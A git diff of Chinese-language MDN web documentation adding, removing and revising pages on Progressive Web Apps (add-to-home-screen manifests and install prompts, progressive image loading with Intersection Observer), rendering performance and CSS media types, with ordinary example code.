绘制可以将布局树中的元素分解为多个层。将内容提升到GPU上的层(而不是CPU上的主线程)可以提高绘制和重新绘制性能。有一些特定的属性和元素可以实例化一个层,包括<video>和<canvas>,任何CSS属性为opacity、3D转换、will-change的元素,还有一些其他元素。这些节点将与子节点一起绘制到它们自己的层上,除非子节点由于上述一个(或多个)原因需要自己的层。

- -

层确实可以提高性能,但是它以内存管理为代价,因此不应作为web性能优化策略的一部分过度使用。

- -

Compositing

- -

当文档的各个部分以不同的层绘制,相互重叠时,必须进行合成,以确保它们以正确的顺序绘制到屏幕上,并正确显示内容。

- -

当页面继续加载资产时,可能会发生回流(回想一下我们迟到的示例图像),回流会触发重新绘制和重新组合。如果我们定义了图像的大小,就不需要重新绘制,只需要重新绘制需要重新绘制的层,并在必要时进行合成。但我们没有包括图像大小!从服务器获取图像后,渲染过程将返回到布局步骤并从那里重新开始。

- -

交互

- -

一旦主线程绘制页面完成,你会认为我们已经“准备好了”,但事实并非如此。如果加载包含JavaScript(并且延迟到onload事件激发后执行),则主线程可能很忙,无法用于滚动、触摸和其他交互。

- -

”Time to Interactive“(TTI)是测量从第一个请求导致DNS查找和SSL连接到页面可交互时所用的时间——可交互是”First Contentful Paint“之后的时间点,页面在50ms内响应用户的交互。如果主线程正在解析、编译和执行JavaScript,则它不可用,因此无法及时(小于50ms)响应用户交互。

- -

在我们的示例中,可能图像加载很快,但anotherscript.js文件可能是2 MB,而且用户的网络连接很慢。在这种情况下,用户可以非常快地看到页面,但是在下载、解析和执行脚本之前,就无法滚动。这不是一个好的用户体验。避免占用主线程,如下面的WebPageTest示例所示:

- -

The main thread is occupied by the downloading, parsing and execution of a  javascript file - over a fast connection

- -

在本例中,DOM内容加载过程花费了1.5秒多的时间,主线程在这段时间内完全被占用,对单击事件或屏幕点击没有响应。

- -

See Also

- - diff --git a/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html b/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html new file mode 100644 index 0000000000..a0915ea9d2 --- /dev/null +++ b/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html @@ -0,0 +1,218 @@ +--- +title: 添加到主屏幕 +slug: Web/Progressive_web_apps/添加到主屏幕 +tags: + - PWA + - 图标 + - 服务进程 + - 添加到主屏幕 + - 清单 + - 渐进式Web应用 +translation_of: Web/Progressive_web_apps/Add_to_home_screen +--- +

添加到主屏幕(A2HS)添加到主屏幕(简称A2HS)是现代智能手机浏览器中的一项功能,使开发人员可以轻松便捷地将自己喜欢的Web应用程序(或网站)的快捷方式添加到主屏幕中,以便他们随后可以通过单点访问它。本指南说明了A2HS的使用方式,以及作为开发人员要使您的用户利用A2HS所需做的事情。

+ +

为什么选择A2HS?

+ +

A2HS被认为是渐进式Web应用程序哲学的一部分—为Web应用程序提供与原生应用程序相同的用户体验优势,因此它们可以在当今的生态系统战争中竞争。这部分是通过访问主屏幕上的应用程序图标来访问应用程序,然后将其整齐地显示在自己的窗口中的简单手势。A2HS使这成为可能。

+ +

哪些浏览器支持A2HS?

+ +

Mobile Chrome / Android Webview 从31版开始支持A2HS,Opera for Android从32版开始支持,Firefox for Android从58版开始支持。

+ +

如何使用?

+ +

我们已经编写了一个非常简单的示例网站(观看我们的在线演示,并查看源代码),该网站虽然功能不多,但是开发时使用了必要的代码,也可以将其添加到主屏幕中,并且service worker使其可以脱机使用。这个示例展示了一系列的狐狸图片。

+ +

如果您有适用于Android的Firefox,使用它导航到我们的示例:https://mdn.github.io/pwa-examples/a2hs/。你将会看到狐狸图片,但更重要的是,你将会看到一个带有加号(+)的“主页”图标—这是为具有必要功能的任何站点显示的“添加到主屏幕”图标。

+ +

+ +

点击此按钮将显示一个确认横幅—按下大“+ 添加到主屏幕”按钮即可完成操作,将应用添加到主屏幕。(注意:在Android 8及更高版本中,将首先显示系统级的“添加到主屏幕”权限对话框。)

+ +

+ +

如果您可以使用Mobile Chrome,则体验会略有不同;加载我们的网站后,您会看到一个弹出安装横幅,询问您是否要将此应用添加到主屏幕。

+ +

+ +
+

注意:您可以在“Web App安装横幅”一文中找到有关Chrome安装横幅的更多信息。

+
+ +

如果您选择不将其添加到主屏幕,则可以稍后使用Chrome主菜单中的添加到主屏幕图标添加。

+ +

无论使用哪种浏览器,当您选择将应用程序添加到主屏幕时,您都会看到它与短标题一起出现,就像原生应用程序一样。

+ +

+ +

点按此图标可以将其打开,但是作为全屏应用程序,您将不再看到其周围的浏览器用户界面。

+ +

如何使应用程序支持A2HS?

+ +

要将您的应用添加到主屏幕,它需要满足以下条件:

+ +
    +
  • 应用通过HTTPs提供服务—Web正朝着更加安全的方向发展,许多现代web技术(包括A2HS)将仅工作在安全的环境中。
  • +
  • 从HTML头链接具有正确字段的manifest文件。
  • +
  • 有合适的图标可显示在主屏幕上。
  • +
  • Chrome浏览器还要求该应用程序注册一个service worker(例如,使其在离线状态下可以运行)。
  • +
+ +

Manifest

+ +

web manifest 以标准JSON格式编写,应放置在应用程序目录中的某个位置(最好是在根目录中),名称为somefilename.webmanifest(我们选择 manifest.webmanifest)。它包含多个字段,这些字段定义有关Web应用程序及其行为的某些信息。

+ +
+

注意:.webmanifest扩展名是在规范的“媒体类型注册”部分中指定的,但通常浏览器将支持带有其他适当扩展名的清单,例如:.json。

+
+ +

A2HS所需的字段如下:

+ +
    +
  • background_color:指定在某些应用程序上下文中使用的背景色。与A2HS最相关的一个是在点击主屏幕上的应用程序图标并首次开始加载时显示的初始屏幕(当前仅在通过Chrome将应用添加到主屏幕时显示)。
  • +
  • display:指定应如何显示应用。 为了使它看起来像一个独特的应用程序(而不仅仅是网页),您应该选择一个值,例如fullscreen(根本不显示任何UI)或独立standalone(非常相似,但是系统级UI元素(例如状态栏)可能是可见的)。
  • +
  • icons:指定在不同位置(例如,在任务切换器上或更重要的是在主屏幕上)表示应用程序时浏览器使用的图标。 我们的演示中仅包含一个。
  • +
  • name/short_name:这些字段提供了在不同位置表示应用程序时要显示的应用程序名称。name提供完整的应用名称。short_name当没有足够的空间显示全名时,提供一个缩写名称。如果您的应用程序名称特别长,建议您同时提供两者。
  • +
  • start_url:提供启动添加到主屏幕应用程序时应加载的资源的路径。请注意,这必须是一个真相网站主页的相对路径,相对于 manifest的url。 另外,请注意,Chrome在显示安装标语之前需要这样做,而Firefox在显示“含+号的home”图标时并不需要它。
  • +
+ +

我们的示例应用程序的manifest如下所示:

+ +
{
+  "background_color": "purple",
+  "description": "Shows random fox pictures. Hey, at least it isn't cats.",
+  "display": "fullscreen",
+  "icons": [
+    {
+      "src": "icon/fox-icon.png",
+      "sizes": "192x192",
+      "type": "image/png"
+    }
+  ],
+  "name": "Awesome fox pictures",
+  "short_name": "Foxes",
+  "start_url": "/pwa-examples/a2hs/index.html"
+}
+ +

合适的图标

+ +

如以上manifest所示,我们包括一个192 x 192像素的图标,供我们的应用使用。您可以根据需要添加更多尺寸;Android将为每个不同的用例选择最合适的尺寸。您还可以决定添加不同类型的图标,以便设备可以使用他们能够使用的最佳图标(例如,Chrome已经支持WebP格式).

+ +

请注意,每个图标对象中的 type 成员都指定了该图标的mimetype,因此浏览器可以快速读取该图标的类型,然后将其忽略,并在不支持该图标时采用其他图标。

+ +

在设计图标方面,您应该遵循与任何Android图标相同的最佳做法(请参阅Android图标设计指南)。

+ +

将HTML链接到manifest

+ +

要完成manifest的设置,您需要从应用程序主页的 HTML 中引用它:

+ +
<link rel="manifest" href="manifest.webmanifest">
+ +

一旦支持 manifest,支持 A2HS 的浏览器就会知道在哪里查找它。

+ +

A2HS没有给你什么?

+ +

请记住,将应用程序添加到主屏幕时,它只会使该应用程序易于访问—不会将应用程序的资产和数据下载到您的设备上,也不会使该应用程序脱机使用或类似的操作。 为了使你的应用离线运行,你必须使用Service Worker API来离线存储资源,如果需要,还可以使用 Web storage 或 IndexedDB 来存储其数据。

+ +

在示例应用程序中,我们仅使用了一个service worker来存储所有必需的文件。service worker使用index.js 文件中的最终的代码块在网站上注册。然后,我们使用 Cache API 缓存网站的所有资产,并使用 sw.js 文件中的代码从缓存而不是网络中为它们提供服务。

+ +

桌面上的A2HS

+ +

虽然最初旨在改善移动操作系统上的用户体验,但人们也提出了使PWA也可以安装在桌面平台上的趋势。

+ +
+

注意:在撰写本文时,仅在较新版本的Chrome(在Windows中默认情况下,在macOS上的#enable-desktop-pwas标志开启后)中支持以下功能。

+
+ +

添加安装按钮

+ +

为了使PWA可在桌面上安装,我们首先在文档中添加了一个按钮,以允许用户进行安装—桌面应用程序不会自动提供此按钮,并且需要通过用户手势来触发安装:

+ +
<button class="add-button">Add to home screen</button>
+ +

然后,我们给它一些简单的样式:

+ +
.add-button {
+  position: absolute;
+  top: 1px;
+  left: 1px;
+}
+ +

用于处理安装的JavaScript

+ +

index.js文件的底部,我们添加了一些JavaScript来处理安装。首先,我们声明一个deferredPrompt变量(我们将在后面解释),获得对安装按钮的引用,并初始设置为display: none

+ +
let deferredPrompt;
+const addBtn = document.querySelector('.add-button');
+addBtn.style.display = 'none';
+ +

我们最初隐藏该按钮是因为PWA必须遵循A2HS标准才能安装。发生这种情况时,支持的浏览器将触发beforeinstallprompt事件。 然后,我们可以使用以下处理程序来处理安装:

+ +
window.addEventListener('beforeinstallprompt', (e) => {
+  // Prevent Chrome 67 and earlier from automatically showing the prompt
+  e.preventDefault();
+  // Stash the event so it can be triggered later.
+  deferredPrompt = e;
+  // Update UI to notify the user they can add to home screen
+  addBtn.style.display = 'block';
+
+  addBtn.addEventListener('click', (e) => {
+    // hide our user interface that shows our A2HS button
+    addBtn.style.display = 'none';
+    // Show the prompt
+    deferredPrompt.prompt();
+    // Wait for the user to respond to the prompt
+    deferredPrompt.userChoice.then((choiceResult) => {
+        if (choiceResult.outcome === 'accepted') {
+          console.log('User accepted the A2HS prompt');
+        } else {
+          console.log('User dismissed the A2HS prompt');
+        }
+        deferredPrompt = null;
+      });
+  });
+});
+ +

所以我们在这里:

+ +
    +
  • 调用{{domxref("Event.preventDefault()")}}以停止Chrome 67及更早版本自动调用安装提示(此行为在Chrome 68中已更改)。
  • +
  • 将事件对象存储在deferredPrompt变量中,以便以后可以用于执行实际安装。
  • +
  • 将按钮设置为display: block,以便它出现在UI中供用户点击。
  • +
  • 设置按钮的click处理程序。
  • +
+ +

点击处理程序包含以下步骤:

+ +
    +
  • 通过display: none再次隐藏按钮—安装应用程序后将不再需要它。
  • +
  • 使用beforeinstallprompt事件对象(存储在deferredPrompt中)上可用的prompt()方法触发显示安装提示。
  • +
  • 使用userChoice属性响应用户与提示的交互,该属性再次在beforeinstallprompt事件对象上可用。
  • +
  • deferredPrompt设置为null,因为不再需要它。
  • +
+ +

So when the button is clicked, the install prompt appears.

+ +

+ +

如果用户选择安装,则将安装该应用程序(可作为独立的桌面应用程序使用),并且不再显示“安装”按钮(如果已经安装了该应用程序,则将不再触发onbeforeinstallprompt事件)。当您打开应用程序时,它将显示在其自己的窗口中:

+ +

+ +

如果用户选择“取消”,则应用程序的状态将返回到单击按钮之前的状态。

+ +
+

注意:本部分的代码主要来自Pete LaPage的应用安装横幅/添加到主屏幕

+
+ +

其他

+ + + +
{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}
diff --git a/files/zh-cn/web/progressive_web_apps/loading/index.html b/files/zh-cn/web/progressive_web_apps/loading/index.html new file mode 100644 index 0000000000..7f45a3c278 --- /dev/null +++ b/files/zh-cn/web/progressive_web_apps/loading/index.html @@ -0,0 +1,152 @@ +--- +title: 渐进式加载 +slug: Web/Progressive_web_apps/加载 +tags: + - PWA + - 渐进式加载 +translation_of: Web/Progressive_web_apps/Loading +--- +
{{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}
+ +

在前面的文章我们介绍了很多api,例如:Service Workers, Web Manifests, Notifications and Push,它让我们的示例应用 js13kPWA 成为一个渐进式web应用。在这篇文章里我们将会走得更远,我们会使用资源渐进式加载来提高整个应用的性能。

+ +

首次有效渲染

+ +

尽快把有效的信息输送给用户是一件非常重要的事情 —— 等待页面加载的时间越长,用户在页面加载完成之前离开的概率就越大。为了达到这个目的,网页加载完成前,我们应该用占位符在最终资源将会加载的地方展示最起码的视图骨架。

+ +

这个功能可以用渐进式加载来实现 —— 它也被称为 懒加载。它的做法是延迟加载尽可能多的资源(HTML, CSS, JavaScript),只有在用户第一次使用到它的时候,它才会被立刻加载。

+ +

打包还是拆分

+ +

大部分的用户不会用到一个网站的所有页面,但我们通常的做法却是把我们所有的功能都打包进一个很大的文件里面。一个 bundle.js 文件的大小可能会有几个M,一个打包后的style.css 会包含一切东西,从CSS结构定义到各个版本的网站的样式:移动端,平板,桌面,打印等等。

+ +

通常来说只加载一个打包后大的文件会比加载很多个小文件要快一些,但如果用户并不是一开始就需要所有的资源,我们就可以首先加载那些关键的资源,其他的等到我们需要的时候,我们再去加载它。

+ +

导致页面阻塞的资源(Render-blocking resources)

+ +

将所有文件打包是一种不好的做法,因为浏览器把计算结果渲染到屏幕之前,需要先把HTML,CSS和JavaScript下载下来。在页面被打开到页面加载完成的这段时间里,用户将会看到一个空白的页面,这无疑是一个非常糟糕的体验。

+ +

为了解决这个问题,举个例子,我们可以在script标签上面加上一个 defer

+ +
<script src="app.js" defer></script>
+
+ +

他们会等到文档解析完成之后再开始下载和执行,所以他们不会阻塞HTML页面的渲染。我们还可以拆分css文件并给它们加上media属性:

+ +
<link rel="stylesheet" href="style.css">
+<link rel="stylesheet" href="print.css" media="print">
+
+ +

 这种做法告诉浏览器只有在条件满足的情况下才加载这些资源(例如指定了print,则在打印环境下才会加载这些资源,译者注)。

+ +

在我们这个js13kPWA应用里面,由于CSS非常的简单,因此所有样式都被放到一个文件里面,并没有具体的规则来指导它如何加载css。但我们可以做得更好,例如把 style.css 里面的所有内容移动到一个 <style> 标签里面,并把它放到 index.html  的 <head> 的里面。这样做可以进一步提高应用的性能,但为了使代码更具可读性,我们并没有选择这么做。

+ +

图片

+ +

除了JavaScript和CSS,网站通常还会包含大量的图片。当你把{{htmlelement("img")}}元素添加到网站里面时,对应的所有图片资源都会在页面初始化时被下载下来。在网站就绪之前下载几个兆的图片资源是一种比较常见的状况,但它会再次给人一种性能不好的印象。我们并不需要在一打开网站的时候就以最高的画质呈现所有的图片。

+ +

这是可以优化的。首先,你可以使用类似TinyPNG这类工具或者服务,它可以在不过分降低画质的情况下压缩文件的大小。如果你已经做到了这一点,那你可以考虑一下如何通过JavaScript来优化图片的下载了,我们将会在下面的篇幅提到这些内容。

+ +

图片占位符

+ +

我们可以通过使用JavaScript有选择的加载图片,而不是把所有的游戏截图都放到 <img> 标签的 src 属性里面,因为那样浏览器会自动下载所有的图片。 js13kPWA示例在图片最终加载之前会将图片的最终路径存放到 data-src 中,在这个阶段,应用会使用图片占位符来代替真正的图片,它体积更小更轻量级(加载也更快,译者注)。

+ +
<img src='data/img/placeholder.png' data-src='data/img/SLUG.jpg' alt='NAME'>
+
+ +

这些图片会在网站构建完HTML主体框架之后通过JavaScript进行加载。图片占位符被缩放到和真正的图片一样大小,所以它会占据同样的空间,并且在真正的图片完成加载后不会导致页面重绘。

+ +

通过JavaScript进行加载

+ +

app.js 这个文件处理 data-src 属性的过程如下所示:

+ +
let imagesToLoad = document.querySelectorAll('img[data-src]');
+const loadImages = (image) => {
+  image.setAttribute('src', image.getAttribute('data-src'));
+  image.onload = () => {
+    image.removeAttribute('data-src');
+  };
+};
+ +

当函数 loadImages 把地址从  data-src 移动到 src 上时,  imagesToLoad 变量包含了所有图片的链接。当每个图片都已经加载完成时,我们会把data-src 属性移除掉,因为这个时候已经没有任何用处了。我们对遍历了所有的图片来加载这些图片:

+ +
imagesToLoad.forEach((img) => {
+  loadImages(img);
+});
+ +

用CSS制造模糊

+ +

为了让整个过程在视觉上更加吸引人,图片占位符的样式用CSS做了模糊处理.

+ +

Screenshot of placeholder images in the js13kPWA app.

+ +

我们在开始时用模糊来渲染图像,因此可以实现一个从模糊到清晰图像的过渡效果:

+ +
article img[data-src] {
+  filter: blur(0.2em);
+}
+
+article img {
+  filter: blur(0em);
+  transition: filter 0.5s;
+}
+ +

这个样式会在半秒钟内移除模糊效果,它会让“加载”效果看起来更好看:

+ +

按需加载

+ +

上面讨论的图片加载机制工作得还不错——它在HTML文档加载完成之后再开始加载图片,并且在加载过程中还提供了一个很漂亮的过度效果。问题是它仍然一次性加载了所有的图片,即使网站加载完成后用户有可能只看前两张或者三张图片。

+ +

这个问题可以用新的 Intersection Observer API 来解决 —— 通过这个api我们可以确保只有当图片出现在可见区域时,它才会被加载。

+ +

Intersection Observer

+ +

这是对上面那个可以正常工作的例子提供的一个渐进增强功能 —— Intersection Observer 只有在用户向下滚动页面并且显示在屏幕上时,才会开始加载目标图片。

+ +

这里有相关的代码展示:

+ +
if('IntersectionObserver' in window) {
+  const observer = new IntersectionObserver((items, observer) => {
+    items.forEach((item) => {
+      if(item.isIntersecting) {
+        loadImages(item.target);
+        observer.unobserve(item.target);
+      }
+    });
+  });
+  imagesToLoad.forEach((img) => {
+    observer.observe(img);
+  });
+} else {
+  imagesToLoad.forEach((img) => {
+    loadImages(img);
+  });
+}
+ +

如果 {{domxref("IntersectionObserver")}}对象被浏览器所支持,app会对它新建一个实例。当一个或多个item(指的是监听的对象,例如一个img,译者注)跟观察者发生交互时(图片出现在视图中时),作为参数传递的函数可以用来处理一些回调事务(例如图片加载,译者注)。我们可以对每一个项目做一个迭代并对它们做出相应的处理——当图片可见时,我们开始加载真正的图片并且停止监听这张图片,因为图片加载完成之后,我们已经没有很必要再知道它的状态了。

+ +

让我们来重申一下我们之前提到的渐进增强 —— 代码这么写的好处在于,不管 Intersection Observer是否被当前浏览器支持,app都能够正常的工作。如果 Intersection Observer不被支持,我们会用上面提到的基础方法来实现图片的加载。

+ +

一些改进

+ +

记住,有很多的方法可以用来优化我们的加载时间,这个示例只探讨了其中的一种方法。你可以尝试让你的app变的更加健壮,通过让它在没有JavaScript的情况下也能工作 —— 通过使用 {{htmlelement("noscript")}} 标签来展示已经分配了最终 src 路径的图片,或者在 <img> 外面套上一个 {{htmlelement("a")}} 标签并指向对应的图片资源,当用户想要想要看的时候他们可以点击图片并访问他们。

+ +

我们并没有这么做因为这个app本身依赖于JavaScript —— 没有JavaScript游戏列表就无法加载,Service Worker相关的代码也将无法执行。

+ +

我们可以重写整个加载过程,让它不止加载图片,而是加载整个列表项,包括详细介绍和链接。工作起来它像一个无限滚动的页面——当用户往下滚动的时候开始加载新的项目。通过这个方法HTML页面体积会达到最小,加载时间可以更短,我们也可以从中获取到更大的性能优势。

+ +

结论

+ +

初始化时加载更少的文件,分拆成更小的模块,使用占位符以及按需加载更多的内容 —— 这会让我们获得更短的首次加载时间,它既能让app开发者受益,也能给用户提供更加丝滑的体验。

+ +

记住关于渐进增强的内容 —— 不管在任何硬件或平台都提供一个可用的产品,但在现代浏览器上面确保能提供更好的用户体验。

+ +

最后的思考

+ +

这就是这个系列的所有内容了 —— 我们通过  js13kPWA 示例应用的源码 学习了渐进式web 应用的的用法,包括了PWA介绍, PWA 结构, 通过Service Workers让PWA离线工作, 让PWA易于安装,以及最后的通知功能。在Service Worker Cookbook的帮助下我们还解释了推送的原理。而在本篇文章中,我们探讨了渐进式加载的概念,包括一个使用了 Intersection Observer API的有趣例子。

+ +

请随意试验这些代码,通过使用PWA的特性来让你现有的应用更加健壮,或者自己创建一些全新的东西。相对于常规的web应用,PWA存在巨大的优势。

+ +

{{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}

+ +

{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}

diff --git a/files/zh-cn/web/progressive_web_apps/network_independent/index.html b/files/zh-cn/web/progressive_web_apps/network_independent/index.html deleted file mode 100644 index 4b8b532173..0000000000 --- a/files/zh-cn/web/progressive_web_apps/network_independent/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: 网络独立 -slug: Web/Progressive_web_apps/Network_independent -tags: - - Application Shell - - IndexedDB - - PWA - - Progressive web apps - - Service Workers - - Web Storage - - localStorage -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Network_independent ---- -
-
当网络不可靠,甚至不存在时,现代网络应用程序仍可以工作。没有更多的空白连接错误页面或恐龙穿过沙漠。除了离线高速缓存和服务工作者之外,UI和内容之间的一个明确的分隔可让您存储应用程序的数据和核心资产,以备将来使用。
- -
-
- -

The basic ideas behind network independence are to be able to:

- -
    -
  • Revisit a site and get its contents even if no network is available.
  • -
  • Browse any kind of content the user has previously visited at least once, even under situations of poor connectivity.
  • -
  • Control what is shown to the user in situations where there is no connectivity.
  • -
- -

核心指南

- -
-
Using service workers
-
A simple guide for those new to the Service Worker API.
-
Using IndexedDB
-
The basics of IndexedDB, explained in detail.
-
Using the Web Storage API
-
The Web storage API made simple.
-
Instant Loading Web Apps with An Application Shell Architecture
-
A guide to using the App Shell coding pattern to create apps that load quickly.
-
- -

技术

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
技术描述支持概览最新规范
Service workersJavaScript running in a special worker context that is run by the browser under certain circumstances such as fetch or push events. These allow the service worker to intercept responses and customise them in any way you want, for example caching assets for offline use before they are served.Experimental: Chrome and Firefox (more detail){{SpecName('Service Workers')}}
IndexedDBA transactional database system that allows complex client-side data storage to be controlled via JavaScript.Widespread across modern browsers (more detail){{SpecName('IndexedDB')}}
Web StorageA simple API for storing name-value pairs on the client-side.Widespread (more detail){{SpecName('Web Storage')}}
- -

工具

- -
-
localForage
-
A nice simple JavaScript library for making client-side data storage really simple; it uses IndexedDB by default, and falls back to Web SQL/Web Storage if necessary.
-
ServiceWorkerWare
-
An Express-like microframework for easy Service Worker development.
-
oghliner
-
Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.
-
sw-precache
-
A node module to generate service worker code that will precache specific resources.
-
upup
-
A tiny script that makes sure your site is always there for your users.
-
- -

参见

- -
-
The service worker cookbook
-
A series of excellent service worker recipes, showing how to implement an offline app, but also much more.
-
diff --git a/files/zh-cn/web/progressive_web_apps/re-engageable/index.html b/files/zh-cn/web/progressive_web_apps/re-engageable/index.html deleted file mode 100644 index 0ff507d2e6..0000000000 --- a/files/zh-cn/web/progressive_web_apps/re-engageable/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Re-engageable -slug: Web/Progressive_web_apps/Re-engageable -tags: - - Modern web apps - - Notifications API - - Progressive web apps - - Push API - - Service Workers -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Re-engageable ---- -
-
原生平台一个主要优势是,用户可以轻松通过更新或加载新内容,即使用户没有正在查看应用程序或者使用他们的设备。现在的Web应用程序现在也可以使用Web Push API等技术实现这样的功能。
- -
-
- -

核心指南

- -
-
Using service workers
-
A simple guide for those new to the Service Worker API.
-
Using the Push API
-
Learn the essentials behind the Web Push API.
-
Using the Notifications API
-
Web notifications in a nutshell.
-
- -

技术

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
技术描述浏览器支持最新规范
Service workersJavaScript running in a special worker context that is run by the browser under certain circumstances such as fetch or push events. These allow the service worker to intercept responses and customise them in any way you want, for example caching assets for offline use before they are served.Experimental: Chrome and Firefox (more detail){{SpecName('Service Workers')}}
Push APIWhen subscribed to, the push service provides an endpoint that can be used by a server to send a push message to a web app under the control of a particular service worker.Experimental: chrome and Firefox (more detail){{SpecName("Push API")}}
Notifications APIFires system notifications directly from web applications.Widespreadin modern browsers (more detail){{SpecName('Web Notifications')}}
- -

工具

- -
-
ServiceWorkerWare
-
An Express-like microframework for easy Service Worker development.
-
oghliner
-
Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.
-
sw-precache
-
A node module to generate service worker code that will precache specific resources.
-
- -

参见

- -
-
The service worker cookbook
-
A series of excellent service worker recipes, showing how to implement an offline app, but also much more.
-
diff --git a/files/zh-cn/web/progressive_web_apps/responsive/index.html b/files/zh-cn/web/progressive_web_apps/responsive/index.html deleted file mode 100644 index 3177fc1c29..0000000000 --- a/files/zh-cn/web/progressive_web_apps/responsive/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Responsive design -slug: Web/Progressive_web_apps/Responsive -tags: - - Media Queries - - PWA - - Progressive web apps - - Responsive web design - - viewport -translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks -translation_of_original: Web/Progressive_web_apps/Responsive ---- -
-
响应式Web应用使用媒体查询和viewport等技术,以确保它们的页面适配任何设备,比如:桌面、移动手机、平板,或者其他新的设备。
- -
-
- -

核心指南

- -
-
The building blocks of responsive design
-
Learn the basics of responsive design, an essential topic for modern app layout.
-
Mobile first
-
Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.
-
- -

技术

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TechnologyDescriptionSupport summaryLatest spec
Media queriesDefines expressions allowing styling to be selectively applied to content depending on viewport size, resolution, orientation, etc.Widespread across modern browsers (more detail)Media Queries Level 4
@viewport/viewport meta tagControls viewport settings, primarily on mobile devices.@viewport: Experimental (more detail)
- Viewport meta tag: Widespread across modern mobile devices
CSS Device Adaptation Module Level 1
FlexboxA very useful CSS feature for creating flexible, responsive layouts.Widespread across modern browsers (more detail)CSS Flexible Box Layout Module Level 1
- -

工具

- -
-
Modernizr
-
A feature detection library for applying different CSS and JS to your page depending on whether certain CSS/JS features are supported.
-
css3-mediaqueries-js
-
A JavaScript polyfill to add Media Query support to old versions of IE (5+.)
-
- -

参见

- -
-
Graphics for responsive sites
-
Ideas to keep in mind when designing graphics for responsive sites and applications.
-
Responsive navigation patterns
-
How do you make a UI that looks and works as great on a smartphone as it does on the desktop? Learn how to design UIs that change to fit your user's screen.
-
diff --git a/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html b/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html new file mode 100644 index 0000000000..ef181eedcc --- /dev/null +++ b/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html @@ -0,0 +1,391 @@ +--- +title: 媒体 +slug: Web/Guide/CSS/Getting_started/Media +translation_of: Web/Progressive_web_apps/Responsive/Media_types +--- +

{{CSSTutorialTOC}} {{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Tables", "表格")}}

+ +

本章节是 CSS入门教程 指南的第14章也是最后一部分。 这本指南主要描述了用来展示文档的CSS的属性及其值,本章节依旧着眼于这个目标,同时也会介绍CSS样式表的结构。

+ +

信息: Media

+ +

CSS的作用是将网页文档以更友好的展现方式呈现给用户。

+ +

例如,假设你现在正用一台显示设备来阅读这篇文章,同时你也想把它投影到屏幕上,或者打印出来,而显示设备、屏幕投影和打印等这些媒介都有自己的特点,CSS就是为文档提供在不同媒介上展示的适配方法。

+ +

CSS通过使用{{CSSXref("@media")}} 的格式来对特定的媒介指定适配规则。

+ +
+
示例
+ +

我们的站点上有一个导航区域允许用户浏览。

+ +

在标签语言中,导航区域父元素的id是 nav-area.(在 {{HTMLVersionInline(5)}}中, 可以使用 {{HTMLElement("nav")}} 元素代替带有id属性的 {{HTMLElement("div")}}。)

+ +

为了网页在被打印的时候去掉无用的信息,我们在样式表中加一条适配规则,使导航区域在打印时是被隐藏起来的:

+ +
@media print {
+  #nav-area {display: none;}
+  }
+
+
+ +

一些常见的媒介类型:

+ + + + + + + + + + + + + + + + + + + + +
screen彩色计算机显示
print打印(分页式媒体)
projection投影
all所有媒体 (默认)
+ +
+
更多
+ +

一些其他指定媒介类型的规则。

+ +

类型可以在样式表通过link方式加到文档时被指定,这是文档的标签语言允许的 。例如,在HTML中,你可以通过在 LINK 标签上添加media属性来指定媒介类型。

+ +

在CSS中,你可以在样式表开头使用 {{CSSXref("@import")}} 一个url来引入另外的样式表,同时指定其媒介类型。

+ +

根据这些知识,你可以区分在不同的文件中定义不同媒介的样式规则。有时这也是结构化样式表的好方法。

+ +

想获取媒介类型更多细节,请参考CSS规范中的 Media 部分。

+ +

接下来将介绍更多 {{cssxref("display")}} 属性的例子: XML data.

+
+ +

打印

+ +

CSS有一些特性能够支持打印和分页媒体。

+ +

 {{cssxref("@page")}} 规则能够设置页间距,对于双面打印,还可以分开设置 @page:left 和 @page:right。

+ +

对于打印媒介,可以使用适当的长度单位,像是英寸(in)、点(1pt = 1/72 inch)、厘米(cm)还有毫米(mm)。这等同于使用em来配合字体大小和百分比。

+ +

可以通过使用 {{cssxref("page-break-before")}}, {{cssxref("page-break-after")}} 和 {{cssxref("page-break-inside")}} 属性来控制文档内容的分页边界。

+ +
+
示例
+ +

这个规则把四个方向的页边距都设置为1 inch:

+ +
@page {margin: 1in;} 
+ +

这个规则确保每个H1元素都从新的一页开始:

+ +
h1 {page-break-before: always;}
+
+
+ +
+
更多细节
+ +

想获取更多细节,请参考CSS规范中的 Paged media 部分。

+ +

像CSS的其他特性一样,打印也依赖于你的浏览器及其设置。例如,在打印的时候Mozilla浏览器支持默认的间距,页眉和页脚。而当其他用户打印你的文档时,你无法预知他会使用的什么样的浏览器和设置,因此你也不能完全控制打印情况。

+
+ +

用户界面

+ +

CSS有一些特殊的属性能够支持设备的用户界面,像电脑显示器。这使得文档的展示随着用户界面的情况而动态地变化。

+ +

并没有针对用户界面设备的特殊媒介类型。

+ +

下面有五种特殊的选择器:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SelectorSelects
E{{cssxref(":hover")}}当鼠标悬浮任何E元素上
E{{cssxref(":focus")}}当元素获得键盘焦点
E{{cssxref(":active")}}当元素是当前的活动元素
E{{cssxref(":link")}}当元素超链接到一个url但是用户还没有访问过
E{{cssxref(":visited")}}当元素超链接到一个url但是用户已经访问过
+ +
+

